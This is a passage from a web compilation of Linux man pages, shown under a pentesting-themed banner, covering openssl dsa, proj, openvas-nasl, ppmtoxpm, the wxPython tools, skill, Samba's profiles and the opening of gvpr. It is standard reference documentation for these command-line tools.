DESCRIPTION

This command processes DSA keys. They can be converted between various forms and their components printed out. Note This command uses the traditional SSLeay compatible format for private key encryption: newer applications should use the more secure PKCS#8 format using the pkcs8

OPTIONS

-help
Print out a usage message.

-inform DER|PEM
The key input format; unspecified by default. See openssl-format-options (1) for details.

-outform DER|PEM
The key output format; the default is PEM. See openssl-format-options (1) for details. Private keys are a sequence of ASN.1 INTEGERS: the version (zero), p, q, g, and the public and private key components. Public keys are a SubjectPublicKeyInfo structure with the DSA type. The PEM format also accepts PKCS#8 data.

-in filename
This specifies the input filename to read a key from or standard input if this option is not specified. If the key is encrypted a pass phrase will be prompted for.

-out filename
This specifies the output filename to write a key to or standard output by is not specified. If any encryption options are set then a pass phrase will be prompted for. The output filename should not be the same as the input filename.

-passin arg, -passout arg
The password source for the input and output file. For more information about the format of arg see openssl-passphrase-options (1).

-aes128, -aes192, -aes256, -aria128, -aria192, -aria256, -camellia128, -camellia192, -camellia256, -des, -des3, -idea
These options encrypt the private key with the specified cipher before outputting it. A pass phrase is prompted for. If none of these options is specified the key is written in plain text. This means that this command can be used to remove the pass phrase from a key by not giving any encryption option is given, or to add or change the pass phrase by setting them. These options can only be used with PEM format output files.

-text
Prints out the public, private key components and parameters.

-noout
This option prevents output of the encoded version of the key.

-modulus
This option prints out the value of the public key component of the key.

-pubin
By default, a private key is read from the input. With this option a public key is read instead. If the input contains no public key but a private key, its public part is used.

-pubout
By default, a private key is output. With this option a public key will be output instead. This option is automatically set if the input is a public key.

-pvk-strong
Enable ‘Strong’ PVK encoding level (default).

-pvk-weak
Enable ‘Weak’ PVK encoding level.

-pvk-none
Don’t enforce PVK encoding.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

The openssl-pkey (1) command is capable of performing all the operations this command can, as well as supporting other public key types.

EXAMPLES

The documentation for the openssl-pkey (1) command contains examples equivalent to the ones listed here.

To remove the pass phrase on a DSA private key:

openssl dsa -in key.pem -out keyout.pem

To encrypt a private key using triple DES:

openssl dsa -in key.pem -des3 -out keyout.pem

To convert a private key from PEM to DER format:

openssl dsa -in key.pem -outform DER -out keyout.der

To print out the components of a private key to standard output:

openssl dsa -in key.pem -text -noout

To just output the public part of a private key:

openssl dsa -in key.pem -pubout -out pubkey.pem

SEE ALSO

openssl (1), openssl-pkey (1), openssl-dsaparam (1), openssl-gendsa (1), openssl-rsa (1), openssl-genrsa (1)

HISTORY

The -engine option was deprecated in OpenSSL 3.0.

COPYRIGHT

Copyright 2000-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1483 - Linux cli command proj

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command proj and provides detailed information about the command proj, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the proj.

NAME 🖥️ proj 🖥️

Cartographic projection filter

SYNOPSIS

proj [-beEfiIlmorsStTvVwW] [args]] ([+opt[=arg] …] | {crs}) file …

invproj [-beEfiIlmorsStTvVwW] [args]] ([+opt[=arg] …] | {crs}) file …

DESCRIPTION

proj and invproj perform respective forward and inverse conversion of cartographic data to or from cartesian data with a wide range of selectable projection functions.

invproj may not be available on all platforms; in this case use proj -I instead.

The following control parameters can appear in any order

-b
Special option for binary coordinate data input and output through standard input and standard output. Data is assumed to be in system type double floating point words. This option is to be used when proj is a child process and allows bypassing formatting operations.

-d <n>

New in version 5.2.0: Specify the number of decimals to round to in the output.

-i
Selects binary input only (see -b).

-I
Alternate method to specify inverse projection. Redundant when used with invproj.

-o
Selects binary output only (see -b).

-t<a>
Where a specifies a character employed as the first character to denote a control line to be passed through without processing. This option applicable to ASCII input only. (# is the default value).

-e <string>
Where string is an arbitrary string to be output if an error is detected during data transformations. The default value is a three character string: * *. Note that if the -b, -i or -o options are employed, an error is returned as HUGE_VAL value for both return values.

-E
Causes the input coordinates to be copied to the output line prior to printing the converted values.

-l<[=id]>
List projection identifiers that can be selected with +proj. proj -l=id gives expanded description of projection id, e.g. proj -l=merc.

-lp
List of all projection id that can be used with the +proj parameter. Equivalent to proj -l.

-lP
Expanded description of all projections that can be used with the +proj parameter.

-le
List of all ellipsoids that can be selected with the +ellps parameters.

-lu
List of all distance units that can be selected with the +units parameter.

-r
This options reverses the order of the expected input from longitude-latitude or x-y to latitude-longitude or y-x.

-s
This options reverses the order of the output from x-y or longitude-latitude to y-x or latitude-longitude.

-S
Causes estimation of meridional and parallel scale factors, area scale factor and angular distortion, and maximum and minimum scale factors to be listed between <> for each input point. For conformal projections meridional and parallel scales factors will be equal and angular distortion zero. Equal area projections will have an area factor of 1.

-m <mult>
The cartesian data may be scaled by the mult parameter. When processing data in a forward projection mode the cartesian output values are multiplied by mult otherwise the input cartesian values are divided by mult before inverse projection. If the first two characters of mult are 1/ or 1: then the reciprocal value of mult is employed.

-f <format>
Where format is a printf format string to control the form of the output values. For inverse projections, the output will be in degrees when this option is employed. The default format is "%.2f" for forward projection and DMS for inverse.

-w<n>
Where n is the number of significant fractional digits to employ for seconds output (when the option is not specified, -w3 is assumed).

-W<n>
Where n is the number of significant fractional digits to employ for seconds output. When -W is employed the fields will be constant width with leading zeroes.

-v
Causes a listing of cartographic control parameters tested for and used by the program to be printed prior to input data.

-V
This option causes an expanded annotated listing of the characteristics of the projected point. -v is implied with this option.

The +opt run-line arguments are associated with cartographic parameters. Additional projection control parameters may be contained in two auxiliary control files: the first is optionally referenced with the +init=file:id and the second is always processed after the name of the projection has been established from either the run-line or the contents of +init file. The environment parameter PROJ_DATA establishes the default directory for a file reference without an absolute path. This is also used for supporting files like datum shift files.

New in version 9.3.0: {crs} is one of the possibilities accepted by :c:proj_create(), provided it expresses a projected CRS, like a WKT string, an object code (like “EPSG:32632”) a PROJJSON string, etc. The projection computed will be those of the map projection implied by the transformation from the base geographic CRS of the projected CRS to the projected CRS.

One or more files (processed in left to right order) specify the source of data to be converted. A - will specify the location of processing standard input. If no files are specified, the input is assumed to be from stdin. For ASCII input data the two data values must be in the first two white space separated fields and when both input and output are ASCII all trailing portions of the input line are appended to the output line.

Input geographic data (longitude and latitude) must be in DMS or decimal degrees format and input cartesian data must be in units consistent with the ellipsoid major axis or sphere radius units. Output geographic coordinates will be in DMS (if the -w switch is not employed) and precise to 0.001" with trailing, zero-valued minute-second fields deleted.

EXAMPLE

The following script

proj +proj=utm +zone=12 -r «EOF 45d15'33.1" 111.5W 45d15.551666667N -111d30 +45.25919444444 111d30'000w EOF

will perform UTM zone 12 forward projection. The default +ellps=GRS80 is used as no +ellps was specified. The geographic values of this example are equivalent and meant as examples of various forms of DMS input. The x-y output data will appear as three lines of:

460770.43 5011865.86

This other example

proj EPSG:6421 -V «EOF -120 35.8 EOF

Will perform the projection of the coordinates in “NAD83(2011) / California zone 4” (EPSG:6421) into its geographic system, “NAD83(2011)”, showing the expanded annotated listing. The output will appear as:

#Lambert Conformal Conic # Conic, Sph&Ell # lat_1= and lat_2= or lat_0, k_0= # +proj=lcc +lat_0=35.3333333333333 +lon_0=-119 +lat_1=37.25 +lat_2=36 # +x_0=2000000 +y_0=500000 +ellps=GRS80 #Final Earth figure: ellipsoid # Major axis (a): 6378137.000 # 1/flattening: 298.257222 # squared eccentricity: 0.006694380023 Longitude: 120dW [ -120 ] Latitude: 35d48’N [ 35.8 ] Easting (x): 1909606.87 Northing (y): 552253.58 Meridian scale (h) : 1.00004382 ( 0.004382 % error ) Parallel scale (k) : 1.00004382 ( 0.004382 % error ) Areal scale (s): 1.00008765 ( 0.008765 % error ) Angular distortion (w): 0.000 Meridian/Parallel angle: 90.00000 Convergence : -0d35'47.714" [ -0.59658715 ] Max-min (Tissot axis a-b) scale error: 1.00004 1.00004

OTHER PROGRAMS

The proj program is limited to converting between geographic and projected coordinates within one datum.

The cs2cs program operates similarly, but allows translation between any pair of definable coordinate reference systems, including support for datum translation.

SEE ALSO

cs2cs(1), cct(1), geod(1), gie(1), projinfo(1), projsync(1)

BUGS

A list of known bugs can be found at https://github.com/OSGeo/PROJ/issues where new bug reports can be submitted to.

HOME PAGE

https://proj.org/

AUTHOR

Gerald I. Evenden

COPYRIGHT

1983-2024, PROJ contributors

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1484 - Linux cli command openvas-nasl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openvas-nasl and provides detailed information about the command openvas-nasl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openvas-nasl.

NAME 🖥️ openvas-nasl 🖥️

nasl - NASL Attack Scripting Language

SYNOPSIS

openvas-nasl <[-Vh] [-T tracefile] [-s] [-t target] [-c config_file] [-d] [-sX] > files…

DESCRIPTION

openvas-nasl executes a set of NASL scripts against a given target host. It can also be used to determine if a NASL script has any syntax errors by running it in parse (-p) or lint (-L) mode.

OPTIONS

-T tracefile
Makes nasl write verbosely what the script does in the file tracefile , ala ‘set -x’ under sh

-t target
Apply the NASL script to target which may be a single host (127.0.0.1), a whole subnet (192.168.1.0/24) or several subnets (192.168.1.0/24, 192.168.243.0/24)

-e iface
Specifies the network interface to be used as the source for established connections.

-s
Sets the return value of safe_checks() to 1. (See the OpenVAS Scanner documentation to know what the safe checks are) Implies -B.

-D
Only run the description part of the script.

-B
Runs in description mode before running the script.

-L
Lint the script (run extended checks).

-X
Run the script with disabled signature verification.

-h
Show help

-V
Show the version of NASL.

-d
Output debug information to stderr.

-r port-range
This is the default range of ports that the scanner plugins will probe. The syntax of this option is flexible, it can be a single range (“1-1500”), several ports (“21,23,80”), several ranges of ports (“1-1500,32000-33000”). Note that you can specify UDP and TCP ports by prefixing each range by T or U. For instance, the following range will make openvas scan UDP ports 1 to 1024 and TCP ports 1 to 65535 : “T:1-65535,U:1-1024”.

-k key=value
Set KB key to value. Can be used multiple times.

SEE ALSO

openvas(8), openvas-nasl-lint(1)

HISTORY

NASL comes from a private project called ‘pkt_forge’, which was written in late 1998 by Renaud Deraison and which was an interactive shell to forge and send raw IP packets (this pre-dates Perl’s Net::RawIP by a couple of weeks). It was then extended to do a wide range of network-related operations and integrated into the scanner as ‘NASL’.

The parser was completely hand-written and a pain to work with. In Mid-2002, Michel Arboi wrote a bison parser for NASL, and he and Renaud Deraison re-wrote NASL from scratch. Although the “new” NASL was nearly working as early as August 2002, Michel’s laziness made us wait for early 2003 to have it working completely.

After the original authors decided to stop the Open Source development in 2005, most changes and maintenance works were done by Greenbone Networks.

AUTHOR

Most of the engine is (C) 2003 Michel Arboi, most of the built-in functions are (C) 2003 Renaud Deraison. Most new code since 2005 developed by Greenbone Networks GmbH.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1485 - Linux cli command ppmtoxpm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmtoxpm and provides detailed information about the command ppmtoxpm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmtoxpm.

.

NAME 🖥️ ppmtoxpm 🖥️

convert a PPM image to an X11 pixmap

SYNOPSIS

ppmtoxpm [-name=xpmname] [-hexonly] [**-rgb=rgb-textfile] [-alphamask=**pgmfile] [ppmfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

ppmtoxpm reads a PPM image as input and produces X11 pixmap (version 3) as output. This format can be loaded by the XPM library.

In the XPM output, colors may be identified by name, such as “Red”, or in hexadecimal, for example “#FF0000”. In the hexadecimal format, there may be from 1 through 4 hexadecimal digits per RGB component.

By default, ppmtoxpbm tries to find a name for each color in the image in the system color dictionary , and if it finds one, uses it. If it doesn’t it uses hexadecimal. You can force ppmtoxpbm to use hexadecimal only with the -hexonly option. You can specify a different color dictionary with the -rgb option.

When ppmtoxpm uses the hexadecimal format for identifying a color, it uses the one that uses the least number of hexadecimal digits that it takes to represent the maxval of the input PPM. E.g. if the maxval of the input PPM is 100, ppmtoxpm uses 2 digits per component, as in “#FF0000”.

Some programs do not properly handle one-digit-per-component hexadecimal color specifiers. They see the wrong colors. To produce an XPM that such a program can handle, make sure the maxval of the input PPM is greater than 15, such as by running it through pamdepth 255.

Color Code Lengths - Image Size

In the XPM format, there is a palette (“color map”) that assigns each color in the image to a unique sequence of printable characters called a color code, and a raster that identifies the color of each pixel of the image with one of those color codes. The length of the color code affects the size of the image stream.

All color codes in an image are the same length, and ppmtoxpm tries to make it as short as possible. That length is, of course, determined by the number of colors in the image. ppmtoxpm counts the colors in the image, excluding those that will be transparent in the output because of your transparency mask, and chooses a color code length accordingly. There are 92 printable characters that can be used in a color code. Therefore, if you have 92 or fewer colors, your color codes will be one character. If you have more than 92 but not more than 92 * 92, your color codes will be two characters. And so on.

There’s one exception to the above: If you specify a transparency mask (the -alpha option, one unique color code represents “transparent.” This is true even if the transparency mask doesn’t actually produce any transparent pixels. So subtract one from the number of possible colors if you use -alpha.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), ppmtoxpm recognizes the following command line options:

**-name=**xpmname
This option specifies the prefix string which is specified in the resulting XPM output. If you don’t use the -name otpion, ppmtoxpm defaults to the filename (without extension) of the ppmfile parameter. If you do not specify -name or ppmfile (i.e. your input is from Standard Input), the prefix string defaults to the string noname.

-hexonly
This option says never to put color names in the XPM file, but rather to identify names by hexadecimal strings that explicitly identify RGB component intensities. This means the reader of the file need not have access to a suitable color dictionary to interpret it.

This option was introduced in Netpbm 10.15 (April 2003). Before that, it was the default, overridden by specifying -rgb.

**-rgb=**rgb-textfile
This option names the file in which the color dictionary you want to use resides. By default, ppmtoxpm uses the system color dictionary , and if it cannot open that file, uses hexadecimal color specifiers.

This option in meaningless when you specify -hexonly.

Before Netpbm 10.15 (April 2003), ppmtoxpm did not default to the system color dictionary. If you didn’t specify -rgb, ppmtoxpbm would use only hexadecimal color specifiers.

**-alphamask=**pgmfile
This option names a PGM file to use as a transparency (alpha) mask. The file must contain an image the same dimensions as the input image. ppmtoxpm marks as transparent any pixel whose position in the transparency mask image is at most half white.

If you don’t specify -alphamask, ppmtoxpm makes all pixels in the output opaque.

ppmcolormask is one way to generate a transparency mask file. You might also generate it by extracting transparency information from an XPM file with the -alphaout option to xpmtoppm.

There are similar options on other Netpbm converters that convert from formats that include transparency information too.

SEE ALSO

ppmcolormask(1) , xpmtoppm(1) , pamdepth(1) , ppm(1) XPM Manual by Arnaud Le Hors [email protected]

AUTHOR

Copyright (C) 1990 by Mark W. Snitily.

Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation. This software is provided “as is” without express or implied warranty.

This tool was developed for Schlumberger Technologies, ATE Division, and with their permission is being made available to the public with the above copyright notice and permission notice.

Upgraded to XPM2 by Paul Breslaw, Mecasoft SA, Zurich, Switzerland ([email protected]), November 8, 1990.

Upgraded to XPM version 3 by Arnaud Le Hors([email protected]), April 9, 1991.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmtoxpm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1486 - Linux cli command pyslices

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pyslices and provides detailed information about the command pyslices, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pyslices.

NAME 🖥️ pyslices 🖥️

wxPython tools.
img2png - wxPython tools.
img2py - wxPython tools.
img2xpm - wxPython tools.
pycrust - wxPython tools.
pyshell - wxPython tools.
pyslices - wxPython tools.
pyslicesshell - wxPython tools.
pywxrc - wxPython tools.
wxdemo - wxPython tools.
wxdocs - wxPython tools.
wxget - wxPython tools.

DESCRIPTION

The real documentation for these tools is available in pydoc format.

For example:

pydoc3 wx.tools.img2xpm

SEE ALSO

pydoc3(1)

COPYRIGHT

This manpage was written by Ron Lee <[email protected]> for the Debian GNU/Linux distribution of wxWidgets. It may be freely distributed by anyone insane enough to find it useful.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1487 - Linux cli command skill

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command skill and provides detailed information about the command skill, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the skill.

NAME 🖥️ skill 🖥️

send a signal or report process status

SYNOPSIS

skill [signal] [options] expression
snice [new priority] [options] expression

DESCRIPTION

These tools are obsolete and unportable. The command syntax is poorly defined. Consider using the killall, pkill, and pgrep commands instead.

The default signal for skill is TERM. Use -l or -L to list available signals. Particularly useful signals include HUP, INT, KILL, STOP, CONT, and 0. Alternate signals may be specified in three ways: -9 -SIGKILL -KILL.

The default priority for snice is +4. Priority numbers range from +20 (slowest) to -20 (fastest). Negative priority numbers are restricted to administrative users.

OPTIONS

-f,** –fast**
Fast mode. This option has not been implemented.

-i,** –interactive**
Interactive use. You will be asked to approve each action.

-l,** –list**
List all signal names.

-L,** –table**
List all signal names in a nice table.

-n,** –no-action**
No action; perform a simulation of events that would occur but do not actually change the system.

-v,** –verbose**
Verbose; explain what is being done.

-w,** –warnings**
Enable warnings. This option has not been implemented.

-h, –help
Display help text and exit.

-V, –version
Display version information.

PROCESS SELECTION OPTIONS

Selection criteria can be: terminal, user, pid, command. The options below may be used to ensure correct interpretation.

-t, –tty tty
The next expression is a terminal (tty or pty).

-u, –user user
The next expression is a username.

-p, –pid pid
The next expression is a process ID number.

-c, –command command
The next expression is a command name.

–ns pid
Match the processes that belong to the same namespace as pid.

–nslist ns,
list which namespaces will be considered for the –ns option. Available namespaces: ipc, mnt, net, pid, user, uts.

SIGNALS

The behavior of signals is explained in signal(7) manual page.

EXAMPLES

snice -c seti -c crack +7
+Slow down seti and crack commands.

skill -KILL -t /dev/pts/*
Kill users on PTY devices.

skill -STOP -u viro -u lm -u davem
Stop three users.

SEE ALSO

kill(1), kill(2), killall(1), nice(1), pkill(1), renice(1), signal(7)

STANDARDS

No standards apply.

AUTHOR

Albert Cahalan wrote skill and snice in 1999 as a replacement for a non-free version.

REPORTING BUGS

Please send bug reports to

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1488 - Linux cli command profiles

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command profiles and provides detailed information about the command profiles, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the profiles.

NAME 🖥️ profiles 🖥️

A utility to report and change SIDs in registry files

SYNOPSIS

profiles [-c|–change-sid=STRING] [-n|–new-sid=STRING] [-v|–verbose] [-?|–help] [–usage] [-d|–debuglevel=DEBUGLEVEL] [–debug-stdout] [–configfile=CONFIGFILE] [–option=name=value] [-l|–log-basename=LOGFILEBASE] [–leak-report] [–leak-report-full] {FILE}

DESCRIPTION

This tool is part of the samba(7) suite.

profiles is a utility that reports and changes SIDs in windows registry files. It currently only supports NT.

OPTIONS

file

Registry file to view or edit.

-v,–verbose

Increases verbosity of messages.

-c SID1 -n SID2, –change-sid SID1 –new-sid SID2

Change all occurrences of SID1 in file by SID2.

-d|–debuglevel=DEBUGLEVEL

level is an integer from 0 to 10. The default value if this parameter is not specified is 1 for client applications.

The higher this value, the more detail will be logged to the log files about the activities of the server. At level 0, only critical errors and serious warnings will be logged. Level 1 is a reasonable level for day-to-day running - it generates a small amount of information about operations carried out.

Levels above 1 will generate considerable amounts of log data, and should only be used when investigating a problem. Levels above 3 are designed for use only by developers and generate HUGE amounts of log data, most of which is extremely cryptic.

Note that specifying this parameter here will override the log level parameter in the /etc/samba/smb.conf file.

–debug-stdout

This will redirect debug output to STDOUT. By default all clients are logging to STDERR.

–configfile=<configuration file>

The file specified contains the configuration details required by the client. The information in this file can be general for client and server or only provide client specific like options such as client smb encrypt. See /etc/samba/smb.conf for more information. The default configuration file name is determined at compile time.

–option=<name>=<value>

Set the smb.conf(5) option “<name>” to value “<value>” from the command line. This overrides compiled-in defaults and options read from the configuration file. If a name or a value includes a space, wrap whole –option=name=value into quotes.

-l|–log-basename=logdirectory

Base directory name for log/debug files. The extension ".progname" will be appended (e.g. log.smbclient, log.smbd, etc…). The log file is never removed by the client.

–leak-report

Enable talloc leak reporting on exit.

–leak-report-full

Enable full talloc leak reporting on exit.

-V|–version

Prints the program version number.

-?|–help

Print a summary of command line options.

–usage

Display brief usage message.

VERSION

This man page is part of version 4.20.1-Debian of the Samba suite.

AUTHOR

The original Samba software and related utilities were created by Andrew Tridgell. Samba is now developed by the Samba Team as an Open Source project similar to the way the Linux kernel is developed.

The profiles man page was written by Jelmer Vernooij.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1489 - Linux cli command gvpr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gvpr and provides detailed information about the command gvpr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gvpr.

NAME 🖥️ gvpr 🖥️

graph pattern scanning and processing language

SYNOPSIS

gvpr [-icnqV?] [ -o outfile ] [ -a args ] [ ‘prog’ | -f progfile ] [ files ]

DESCRIPTION

gvpr (previously known as gpr) is a graph stream editor inspired by awk. It copies input graphs to its output, possibly transforming their structure and attributes, creating new graphs, or printing arbitrary information. The graph model is that provided by libcgraph(3). In particular, gvpr reads and writes graphs using the dot language.

Basically, gvpr traverses each input graph, denoted by $G, visiting each node and edge, matching it with the predicate‐action rules supplied in the input program. The rules are evaluated in order. For each predicate evaluating to true, the corresponding action is performed. During the traversal, the current node or edge being visited is denoted by $.

For each input graph, there is a target subgraph, denoted by $T, initially empty and used to accumulate chosen entities, and an output graph, $O, used for final processing and then written to output. By default, the output graph is the target graph. The output graph can be set in the program or, in a limited sense, on the command line.

OPTIONS

The following options are supported:

-a* args*
The string args is split into whitespace‐separated tokens, with the individual tokens available as strings in the gvpr program as ARGV[0],…,ARGV[ARGC-1]. Whitespace characters within single or double quoted substrings, or preceded by a backslash, are ignored as separators. In general, a backslash character turns off any special meaning of the following character. Note that the tokens derived from multiple -a flags are concatenated.

-c
Use the source graph as the output graph.

-i
Derive the node‐induced subgraph extension of the output graph in the context of its root graph.

-o* outfile*
Causes the output stream to be written to the specified file; by default, output is written to stdout.

-f* progfile*
